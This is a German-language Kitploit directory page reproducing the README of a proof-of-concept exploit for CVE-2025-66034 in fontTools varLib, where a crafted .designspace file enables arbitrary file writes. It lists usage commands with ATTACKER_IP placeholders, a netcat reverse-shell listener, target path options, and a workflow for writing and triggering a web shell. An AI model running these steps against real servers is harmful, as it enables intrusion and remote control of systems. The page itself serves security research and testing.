Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
varlib-cve-2025-66034 — Proof-of-Concept-Exploit für CVE-2025-66034 in der fontTools-Pipeline zur Generierung variabler Schriftarten. Eine manipulierte .designspace-Datei ermöglicht die Kontrolle des Ausgabepfads, was beliebige Dateischreibvorgänge ermöglicht. Das Skript automatisiert die Erstellung der Payload, die Schriftgenerierung und den Upload, um das Problem zu demonstrieren. | Kitploit
Tools/GitHubGitHub/symphony2colour/varlib-cve-2025-66034
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubsymphony2colour/varlib-cve-2025-66034

varlib-cve-2025-66034

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
214vor 1 MonatNoch nicht geprüft

Über

Proof-of-Concept-Exploit für CVE-2025-66034 in der fontTools-Pipeline zur Generierung variabler Schriftarten. Eine manipulierte .designspace-Datei ermöglicht die Kontrolle des Ausgabepfads, was beliebige Dateischreibvorgänge ermöglicht. Das Skript automatisiert die Erstellung der Payload, die Schriftgenerierung und den Upload, um das Problem zu demonstrieren.

Teilen

fontTools varLib CVE-2025-66034 Exploit

cve component vulnerability vector impact language dependency license

Dieses Repo führt keine neue Schwachstelle ein.

Dies ist ein Proof-of-Concept-Exploit für CVE-2025-66034, der die Pipeline zur Generierung variabler Fonts in fontTools varLib betrifft.

Die Schwachstelle ermöglicht es Angreifern, den Ausgabedateinamen innerhalb einer manipulierten .designspace-Datei zu kontrollieren. Wird diese von einem verwundbaren Font-Generierungsdienst verarbeitet, kann dies zu beliebigem Schreiben von Dateien auf dem Server-Dateisystem führen.

Das Skript varlib_cve_2025_66034.py automatisiert die Payload-Erstellung, die Font-Generierung, den Upload und optional das Auslösen einer Shell.


Funktionen

  • Automatische Erstellung kompatibler Master-Fonts mit fontTools
  • Zufällige Generierung von Shell-Dateinamen
  • Anpassbarer Zielpfad und Upload-Endpunkt
  • Automatischer nc-Listener
  • Keine manuelle Font-Vorbereitung erforderlich

Voraussetzungen

Python 3.9+

Abhängigkeiten installieren:

pip install fonttools requests

Netcat wird für den Listener benötigt, daher ist der folgende Befehl erforderlich, wenn Sie die Option --no-listen verwenden:

nc -lvnp <PORT_NUMBER>

Verwendung

Wenn Ihr Ziel ein selbst gehostetes Lab ist, das auf mysite.com läuft, und der Upload-Pfad, der Dateisystem-Schreibpfad und der webzugängliche Trigger-Pfad mit den Standardwerten im Skript übereinstimmen, können Sie es direkt ausführen.

Grundlegende Verwendung:

python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>

Sehr wahrscheinlich verwendet das Ziel andere URLs oder Dateisystempfade; überschreiben Sie die Standardwerte mit den unten verfügbaren Optionen wie --url, --path und --trigger oder ändern Sie das Skript manuell

Hinweis: Die Namen der Multipart-Upload-Formularfelder können je nach Umgebung variieren. Wenn das Ziel nicht dieselben Formularfeldnamen wie das Skript verwendet, passen Sie diese im Abschnitt files an, bevor Sie den Exploit ausführen.

Optionen

ArgumentBeschreibung
--ipIP des Angreifer-Listeners
--portListener-Port
--pathZiel-Dateisystempfad, in den die Datei geschrieben wird (muss über das Web erreichbar sein, um eine Web-Shell auszulösen)
--urlUpload-Endpunkt, Formular kann variieren
--triggerBasis-URL, die verwendet wird, um die geschriebene Payload nach dem Upload auszulösen
--no-listenAutomatischen netcat-Listener deaktivieren

Beispiel mit benutzerdefinierten Optionen:

python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com

Exploit-Workflow

  1. Kompatible Master-Fonts generieren
  2. Bösartige .designspace-Datei erstellen
  3. Payload per Multipart-POST hochladen
  4. Beliebige Datei auf dem Server schreiben
  5. Payload per HTTP-Anfrage auslösen

Danksagungen / Anerkennungen

Besonderer Dank und Respekt an:

  • Die Maintainer und Mitwirkenden des fontTools-Projekts für ihre Arbeit an der Open-Source-Bibliothek fontTools.
  • Die Sicherheitsforscher, die CVE-2025-66034 entdeckt und verantwortungsvoll offengelegt haben.
  • Die Open-Source-Sicherheitscommunity für die Dokumentation und Analyse von Schwachstellen, die dazu beitragen, die Software-Sicherheit zu verbessern.

Dieser Proof-of-Concept wird zu Bildungs- und Forschungszwecken bereitgestellt, um das Verständnis der Schwachstelle und ihrer Auswirkungen zu unterstützen.


Haftungsausschluss

Dieser Code wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt.

Verwenden Sie diesen Exploit nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben.

Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.


Referenzen

  • CVE-Details: https://nvd.nist.gov/vuln/detail/CVE-2025-66034
  • GitHub Advisory: https://github.com/advisories/GHSA-768j-98cg-p3fv
  • fontTools-Projekt: https://github.com/fonttools/fonttools
  • fontTools-Dokumentation: https://fonttools.readthedocs.io/
Tool herunterladen